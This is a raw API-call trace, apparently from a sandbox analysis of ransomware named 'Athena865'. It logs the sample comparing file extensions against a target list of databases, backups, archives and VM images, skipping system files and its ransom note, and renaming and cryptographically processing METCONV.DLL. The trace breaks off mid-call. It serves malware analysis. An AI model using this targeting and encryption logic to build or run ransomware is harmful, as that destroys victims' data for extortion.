-1 [0116.161] lstrlenW (lpString="mdb") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0116.161] lstrlenW (lpString="sql") returned 3 [0116.161] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0116.161] lstrlenW (lpString="sqlite") returned 6 [0116.161] lstrcmpiW (lpString1="NV.DLL", lpString2="sqlite") returned -1 [0116.162] lstrlenW (lpString="sqlite3") returned 7 [0116.162] lstrcmpiW (lpString1="ONV.DLL", lpString2="sqlite3") returned -1 [0116.162] lstrlenW (lpString="sqlitedb") returned 8 [0116.162] lstrcmpiW (lpString1="CONV.DLL", lpString2="sqlitedb") returned -1 [0116.162] lstrlenW (lpString="xml") returned 3 [0116.162] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0116.162] lstrlenW (lpString="$er") returned 3 [0116.162] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0116.162] lstrlenW (lpString="4dd") returned 3 [0116.162] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0116.162] lstrlenW (lpString="4dl") returned 3 [0116.162] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0116.162] lstrlenW (lpString="^^^") returned 3 [0116.162] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0116.162] lstrlenW (lpString="abs") returned 3 [0116.162] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0116.162] lstrlenW (lpString="abx") returned 3 [0116.162] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0116.162] lstrlenW (lpString="accdb") returned 5 [0116.162] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0116.162] lstrlenW (lpString="accdc") returned 5 [0116.162] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0116.162] lstrlenW (lpString="accde") returned 5 [0116.162] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0116.162] lstrlenW (lpString="accdr") returned 5 [0116.162] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0116.162] lstrlenW (lpString="accdt") returned 5 [0116.162] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0116.162] lstrlenW (lpString="accdw") returned 5 [0116.162] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0116.162] lstrlenW (lpString="accft") returned 5 [0116.163] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0116.163] lstrlenW (lpString="adb") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.163] lstrlenW (lpString="adb") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.163] lstrlenW (lpString="ade") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0116.163] lstrlenW (lpString="adf") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0116.163] lstrlenW (lpString="adn") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0116.163] lstrlenW (lpString="adp") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0116.163] lstrlenW (lpString="alf") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0116.163] lstrlenW (lpString="ask") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0116.163] lstrlenW (lpString="btr") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0116.163] lstrlenW (lpString="cat") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0116.163] lstrlenW (lpString="cdb") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0116.163] lstrlenW (lpString="ckp") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0116.163] lstrlenW (lpString="cma") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0116.163] lstrlenW (lpString="cpd") returned 3 [0116.163] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0116.163] lstrlenW (lpString="dacpac") returned 6 [0116.163] lstrcmpiW (lpString1="NV.DLL", lpString2="dacpac") returned 1 [0116.164] lstrlenW (lpString="dad") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0116.164] lstrlenW (lpString="dadiagrams") returned 10 [0116.164] lstrcmpiW (lpString1="ETCONV.DLL", lpString2="dadiagrams") returned 1 [0116.164] lstrlenW (lpString="daschema") returned 8 [0116.164] lstrcmpiW (lpString1="CONV.DLL", lpString2="daschema") returned -1 [0116.164] lstrlenW (lpString="db-journal") returned 10 [0116.164] lstrcmpiW (lpString1="ETCONV.DLL", lpString2="db-journal") returned 1 [0116.164] lstrlenW (lpString="db-shm") returned 6 [0116.164] lstrcmpiW (lpString1="NV.DLL", lpString2="db-shm") returned 1 [0116.164] lstrlenW (lpString="db-wal") returned 6 [0116.164] lstrcmpiW (lpString1="NV.DLL", lpString2="db-wal") returned 1 [0116.164] lstrlenW (lpString="dbc") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0116.164] lstrlenW (lpString="dbs") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0116.164] lstrlenW (lpString="dbt") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0116.164] lstrlenW (lpString="dbv") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0116.164] lstrlenW (lpString="dbx") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0116.164] lstrlenW (lpString="dcb") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0116.164] lstrlenW (lpString="dct") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0116.164] lstrlenW (lpString="dcx") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0116.164] lstrlenW (lpString="ddl") returned 3 [0116.164] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0116.165] lstrlenW (lpString="dlis") returned 4 [0116.165] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0116.165] lstrlenW (lpString="dp1") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0116.165] lstrlenW (lpString="dqy") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0116.165] lstrlenW (lpString="dsk") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0116.165] lstrlenW (lpString="dsn") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0116.165] lstrlenW (lpString="dtsx") returned 4 [0116.165] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0116.165] lstrlenW (lpString="dxl") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0116.165] lstrlenW (lpString="eco") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0116.165] lstrlenW (lpString="ecx") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0116.165] lstrlenW (lpString="edb") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0116.165] lstrlenW (lpString="epim") returned 4 [0116.165] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0116.165] lstrlenW (lpString="fcd") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0116.165] lstrlenW (lpString="fdb") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0116.165] lstrlenW (lpString="fic") returned 3 [0116.165] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0116.165] lstrlenW (lpString="flexolibrary") returned 12 [0116.165] lstrlenW (lpString="fm5") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0116.166] lstrlenW (lpString="fmp") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0116.166] lstrlenW (lpString="fmp12") returned 5 [0116.166] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0116.166] lstrlenW (lpString="fmpsl") returned 5 [0116.166] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0116.166] lstrlenW (lpString="fol") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0116.166] lstrlenW (lpString="fp3") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0116.166] lstrlenW (lpString="fp4") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0116.166] lstrlenW (lpString="fp5") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0116.166] lstrlenW (lpString="fp7") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0116.166] lstrlenW (lpString="fpt") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0116.166] lstrlenW (lpString="frm") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0116.166] lstrlenW (lpString="gdb") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0116.166] lstrlenW (lpString="gdb") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0116.166] lstrlenW (lpString="grdb") returned 4 [0116.166] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0116.166] lstrlenW (lpString="gwi") returned 3 [0116.166] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0116.166] lstrlenW (lpString="hdb") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0116.167] lstrlenW (lpString="his") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0116.167] lstrlenW (lpString="ib") returned 2 [0116.167] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0116.167] lstrlenW (lpString="idb") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0116.167] lstrlenW (lpString="ihx") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0116.167] lstrlenW (lpString="itdb") returned 4 [0116.167] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0116.167] lstrlenW (lpString="itw") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0116.167] lstrlenW (lpString="jet") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0116.167] lstrlenW (lpString="jtx") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0116.167] lstrlenW (lpString="kdb") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0116.167] lstrlenW (lpString="kexi") returned 4 [0116.167] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0116.167] lstrlenW (lpString="kexic") returned 5 [0116.167] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0116.167] lstrlenW (lpString="kexis") returned 5 [0116.167] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0116.167] lstrlenW (lpString="lgc") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0116.167] lstrlenW (lpString="lwx") returned 3 [0116.167] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0116.168] lstrlenW (lpString="maf") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0116.168] lstrlenW (lpString="maq") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0116.168] lstrlenW (lpString="mar") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0116.168] lstrlenW (lpString="marshal") returned 7 [0116.168] lstrcmpiW (lpString1="ONV.DLL", lpString2="marshal") returned 1 [0116.168] lstrlenW (lpString="mas") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0116.168] lstrlenW (lpString="mav") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0116.168] lstrlenW (lpString="maw") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0116.168] lstrlenW (lpString="mdbhtml") returned 7 [0116.168] lstrcmpiW (lpString1="ONV.DLL", lpString2="mdbhtml") returned 1 [0116.168] lstrlenW (lpString="mdn") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0116.168] lstrlenW (lpString="mdt") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0116.168] lstrlenW (lpString="mfd") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0116.168] lstrlenW (lpString="mpd") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0116.168] lstrlenW (lpString="mrg") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0116.168] lstrlenW (lpString="mud") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0116.168] lstrlenW (lpString="mwb") returned 3 [0116.168] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0116.168] lstrlenW (lpString="myd") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0116.169] lstrlenW (lpString="ndf") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0116.169] lstrlenW (lpString="nnt") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0116.169] lstrlenW (lpString="nrmlib") returned 6 [0116.169] lstrcmpiW (lpString1="NV.DLL", lpString2="nrmlib") returned 1 [0116.169] lstrlenW (lpString="ns2") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0116.169] lstrlenW (lpString="ns3") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0116.169] lstrlenW (lpString="ns4") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0116.169] lstrlenW (lpString="nsf") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0116.169] lstrlenW (lpString="nv") returned 2 [0116.169] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0116.169] lstrlenW (lpString="nv2") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0116.169] lstrlenW (lpString="nwdb") returned 4 [0116.169] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0116.169] lstrlenW (lpString="nyf") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0116.169] lstrlenW (lpString="odb") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0116.169] lstrlenW (lpString="odb") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0116.169] lstrlenW (lpString="oqy") returned 3 [0116.169] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0116.170] lstrlenW (lpString="ora") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0116.170] lstrlenW (lpString="orx") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0116.170] lstrlenW (lpString="owc") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0116.170] lstrlenW (lpString="p96") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0116.170] lstrlenW (lpString="p97") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0116.170] lstrlenW (lpString="pan") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0116.170] lstrlenW (lpString="pdb") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0116.170] lstrlenW (lpString="pdm") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0116.170] lstrlenW (lpString="pnz") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0116.170] lstrlenW (lpString="qry") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0116.170] lstrlenW (lpString="qvd") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0116.170] lstrlenW (lpString="rbf") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0116.170] lstrlenW (lpString="rctd") returned 4 [0116.170] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0116.170] lstrlenW (lpString="rod") returned 3 [0116.170] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0116.170] lstrlenW (lpString="rodx") returned 4 [0116.170] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0116.171] lstrlenW (lpString="rpd") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0116.171] lstrlenW (lpString="rsd") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0116.171] lstrlenW (lpString="sas7bdat") returned 8 [0116.171] lstrcmpiW (lpString1="CONV.DLL", lpString2="sas7bdat") returned -1 [0116.171] lstrlenW (lpString="sbf") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0116.171] lstrlenW (lpString="scx") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0116.171] lstrlenW (lpString="sdb") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0116.171] lstrlenW (lpString="sdc") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0116.171] lstrlenW (lpString="sdf") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0116.171] lstrlenW (lpString="sis") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0116.171] lstrlenW (lpString="spq") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0116.171] lstrlenW (lpString="te") returned 2 [0116.171] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0116.171] lstrlenW (lpString="teacher") returned 7 [0116.171] lstrcmpiW (lpString1="ONV.DLL", lpString2="teacher") returned -1 [0116.171] lstrlenW (lpString="tmd") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0116.171] lstrlenW (lpString="tps") returned 3 [0116.171] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0116.171] lstrlenW (lpString="trc") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0116.172] lstrlenW (lpString="trc") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0116.172] lstrlenW (lpString="trm") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0116.172] lstrlenW (lpString="udb") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0116.172] lstrlenW (lpString="udl") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0116.172] lstrlenW (lpString="usr") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0116.172] lstrlenW (lpString="v12") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0116.172] lstrlenW (lpString="vis") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0116.172] lstrlenW (lpString="vpd") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0116.172] lstrlenW (lpString="vvv") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0116.172] lstrlenW (lpString="wdb") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0116.172] lstrlenW (lpString="wmdb") returned 4 [0116.172] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0116.172] lstrlenW (lpString="wrk") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0116.172] lstrlenW (lpString="xdb") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0116.172] lstrlenW (lpString="xld") returned 3 [0116.172] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0116.173] lstrlenW (lpString="xmlff") returned 5 [0116.173] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0116.173] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.Athena865") returned 78 [0116.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.athena865"), dwFlags=0x1) returned 1 [0116.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.178] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=110976) returned 1 [0116.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.178] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.179] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.179] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.179] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b480, lpName=0x0) returned 0x154 [0116.180] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b480) returned 0x100000 [0116.186] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.186] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.187] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.187] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.188] CloseHandle (hObject=0x154) returned 1 [0116.189] CloseHandle (hObject=0x17c) returned 1 [0116.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.189] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0116.189] lstrcmpiW (lpString1="METCONV.TXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.189] lstrcmpiW (lpString1="METCONV.TXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.189] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".") returned 1 [0116.189] lstrcmpiW (lpString1="METCONV.TXT", lpString2="..") returned 1 [0116.189] lstrcmpiW (lpString1="METCONV.TXT", lpString2="windows") returned -1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="bootmgr") returned 1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="temp") returned -1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="pagefile.sys") returned -1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="boot") returned 1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="ids.txt") returned 1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="ntuser.dat") returned -1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="perflogs") returned -1 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2="MSBuild") returned -1 [0116.190] lstrlenW (lpString="METCONV.TXT") returned 11 [0116.190] lstrcpyW (in: lpString1=0x241e8ba, lpString2="METCONV.TXT" | out: lpString1="METCONV.TXT") returned="METCONV.TXT" [0116.190] lstrlenW (lpString="METCONV.TXT") returned 11 [0116.190] lstrlenW (lpString="Athena865") returned 9 [0116.190] lstrcmpiW (lpString1="TCONV.TXT", lpString2="Athena865") returned 1 [0116.190] lstrlenW (lpString=".dll") returned 4 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".dll") returned 1 [0116.190] lstrlenW (lpString=".lnk") returned 4 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".lnk") returned 1 [0116.190] lstrlenW (lpString=".ini") returned 4 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".ini") returned 1 [0116.190] lstrlenW (lpString=".sys") returned 4 [0116.190] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".sys") returned 1 [0116.190] lstrlenW (lpString="METCONV.TXT") returned 11 [0116.190] lstrlenW (lpString="bak") returned 3 [0116.190] lstrcmpiW (lpString1="TXT", lpString2="bak") returned 1 [0116.190] lstrlenW (lpString="ba_") returned 3 [0116.190] lstrcmpiW (lpString1="TXT", lpString2="ba_") returned 1 [0116.190] lstrlenW (lpString="dbb") returned 3 [0116.190] lstrcmpiW (lpString1="TXT", lpString2="dbb") returned 1 [0116.190] lstrlenW (lpString="vmdk") returned 4 [0116.190] lstrcmpiW (lpString1=".TXT", lpString2="vmdk") returned -1 [0116.190] lstrlenW (lpString="rar") returned 3 [0116.191] lstrcmpiW (lpString1="TXT", lpString2="rar") returned 1 [0116.191] lstrlenW (lpString="zip") returned 3 [0116.191] lstrcmpiW (lpString1="TXT", lpString2="zip") returned -1 [0116.191] lstrlenW (lpString="tgz") returned 3 [0116.191] lstrcmpiW (lpString1="TXT", lpString2="tgz") returned 1 [0116.191] lstrlenW (lpString="vbox") returned 4 [0116.191] lstrcmpiW 